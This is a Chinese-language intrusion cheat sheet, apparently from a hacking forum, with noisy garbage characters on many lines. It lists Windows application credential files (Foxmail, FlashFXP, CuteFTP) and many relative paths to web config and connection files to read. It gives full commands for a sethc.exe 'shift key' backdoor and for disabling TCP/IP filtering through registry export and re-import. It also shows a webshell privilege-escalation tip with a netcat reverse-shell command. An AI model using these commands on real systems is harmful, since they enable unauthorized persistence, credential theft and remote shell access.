8 r: f! T8 ], N& M+ ^C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
6 a' Y* L" t6 I& t8 JC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
* Z2 i0 l, c8 a5 o( g) v% \c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
! v& E( P: w& n' ]: |$ Sc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
6 J+ c6 i) T; qc:\Program Files\Oracle\bin\regsvr32.exe
- `6 X. V2 a- S4 x6 @c:\Program Files\腾讯游戏\QQGAME\readme.txt
6 y9 c: |8 v0 J9 C. U. j2 i+ w& hc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
/ v( K( N8 Y! T% X5 P2 Ac:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
* G  H" m+ n! p! T
3.网站相对路径:
7 m3 m, Q# d$ z$ l0 V/ K* J
! y- j  [. ]  V  q  W6 r3 u/config.php
../../config.php
  E8 [  V+ Z1 p../config.php
../../../config.php
/config.inc.php
! M0 A* p! P3 ~3 |! j./config.inc.php
) ?4 R! U8 ]3 v) ^  N8 t../../config.inc.php
2 F) J8 `7 C) p* z) `( j) n. T../config.inc.php
../../../config.inc.php
/ M2 M. a: B7 {, x2 @. U5 ?/conn.php
./conn.php
! F$ O/ n4 _% c( O( _../../conn.php
../conn.php
6 r/ D7 d8 l; }% y1 {$ ~../../../conn.php
& R7 A) M  t5 X- l/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
/ v6 k' c5 Z$ h../config.inc.php
# t+ _3 D' \% K../../../config.inc.php
& n9 r" m1 X1 B9 h( A/config/config.php
../../config/config.php
../config/config.php
# ^2 i1 @$ F1 @- h4 R/ ~- q../../../config/config.php
/ B& Z! H& u0 t2 C) Y/config/config.inc.php
9 y5 E# A9 Q7 G, L% W5 f3 E./config/config.inc.php
../../config/config.inc.php
  z6 g( |$ W3 D5 H6 x, a* D6 R" X../config/config.inc.php
../../../config/config.inc.php
. f0 I4 a( e' T% D' Q9 W3 x/config/conn.php
./config/conn.php
../../config/conn.php
../config/conn.php
9 ]+ C& G0 v- W$ e3 Y& ^  [../../../config/conn.php
8 l) @+ B: ~& o; `+ [' m/config/conn.asp
( ]" p9 X1 C! ?2 q. S, R+ q./config/conn.asp
4 E, G# k3 T) K. |7 F' m../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
  ?! r3 Y) ?& Q# M/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
7 A+ L6 R& |3 B& C- `, T../../../config/config.inc.php
/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
  R; y5 o/ O& L9 c! E  n4 @./data/config.inc.php
../../data/config.inc.php
" G, ^( y% `$ K../data/config.inc.php
: }  s6 M/ j8 t( V../../../data/config.inc.php
/data/conn.php
) B) s+ N# T) a./data/conn.php
../../data/conn.php
% A7 k# f) {% e5 @../data/conn.php
../../../data/conn.php
/data/conn.asp
! Q9 p; h9 ~9 n# R2 d; r9 p./data/conn.asp
# z8 c& U3 v4 d& S* ]9 x../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
$ Z7 S( F- f5 F5 g- T/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
; o1 F0 U9 k" R. r( K# |/ H9 U../include/config.php
( ]! B( _. S+ ~" H5 b0 Y5 l../../../include/config.php
4 D  ?. g5 S% D: |+ d& E) V/include/config.inc.php
7 q0 A+ L9 W7 b* U$ X6 E./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
, O$ N3 _0 k; s4 \4 ]../../../include/config.inc.php
/include/conn.php
./include/conn.php
0 J, X' H& L4 @3 G0 l* z../../include/conn.php
../include/conn.php
! O8 ~9 M/ d  g- N+ e4 W# ~1 Z../../../include/conn.php
& u, @0 m" S/ ]5 G; E* m  S/include/conn.asp
! ]% M% o: p; |  }; _./include/conn.asp
/ d( h$ _5 m& M$ @../../include/conn.asp
9 t' t' U4 j+ Y../include/conn.asp
$ U$ T: o' ^+ X! j../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
" c& W0 A3 h5 Q. ?../../../include/config.inc.php
8 Y3 I7 U* `7 u5 p' B/inc/config.php
../../inc/config.php
../inc/config.php
../../../inc/config.php
' Q; t, B9 o$ p0 C5 X3 `/inc/config.inc.php
1 p- V! L% _9 a6 C! e2 u4 h./inc/config.inc.php
../../inc/config.inc.php
! f  F8 j% \8 n/ s$ c../inc/config.inc.php
../../../inc/config.inc.php
; L& D- Z  C- i: N  y5 Y/inc/conn.php
./inc/conn.php
../../inc/conn.php
! N( |& S' s$ B& p! v$ h../inc/conn.php
../../../inc/conn.php
' X/ T* F7 p1 s1 n/inc/conn.asp
./inc/conn.asp
4 _2 T. M) E* D/ ~! A) |* S- I../../inc/conn.asp
* r5 K2 p/ C0 Y# P* I( e9 W../inc/conn.asp
  f+ ?6 v: J- s! s; W  g+ I/ |../../../inc/conn.asp
& d, a  W8 v% m: w" W/inc/config.inc.php
./inc/config.inc.php
) s0 i3 q8 q: Y% ^. k  p../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
  d: I" Y4 y5 x5 f/index.php
./index.php
6 y0 @% r, S* N8 a! v. s, x/ ^../../index.php
; w* Y9 P: @2 g6 ~3 H& c/ O../index.php
* H0 p& q( l, G0 w- R& a../../../index.php
3 _0 ~* o# \7 r: O/index.asp
./index.asp
$ w3 c# ?" p3 I9 q. w% e/ _, b../../index.asp
../index.asp
* n" i  u; p0 q/ U9 c../../../index.asp
替换SHIFT后门
: o" Q' j5 a; I8 S. B6 P　attrib c:\windows\system32\sethc.exe -h -r -s
6 R. B+ w/ m$ C. O# H
/ ]+ V9 H! a/ D) ?　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
2 \/ x8 m  \' M. P  V8 u0 Y
　　del c:\windows\system32\sethc.exe
- A4 G; c7 p$ `. z
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

5 h8 F1 ]3 j; a+ ]0 s　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

* O0 I. e6 l6 o9 j. T6 s, |　　attrib c:\windows\system32\sethc.exe +h +r +s

  X- @7 w* \1 M5 v0 X: M$ O5 x　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
5 p: b0 h0 z- J( B/ A: @: g9 ?去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
  g! @. [7 H. B/ N0 l0 ^, tHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
, M' f; Y1 W3 c, E7 p+ y3 uHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
( j  r2 B/ j" i( U" ~5 a2 `( Mregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
4 l% w% S. x" {' mregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
8 u8 n$ Q" H$ U- r' @regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ ]) v( @% i6 J; a( f4 ]* i命令来导出注册表项
2 f# s* |1 ~, c3 `0 Q; C; Z# Q
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
: r2 [: d! y) H7 Y
再将以上三个文件分别用
: P# `" N  B4 K: O" zregedit -s D:\a.reg
' D! H7 T$ Q. Rregedit -s D:\b.reg
/ u# d- U1 F! d; ?regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
4 R; S8 I) x2 \' [5 Gcmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
1 b# q$ N2 H! p+ f
- A. n9 t2 j) k; }5 I; x而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
. ~5 d1 _2 o# D8 o却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功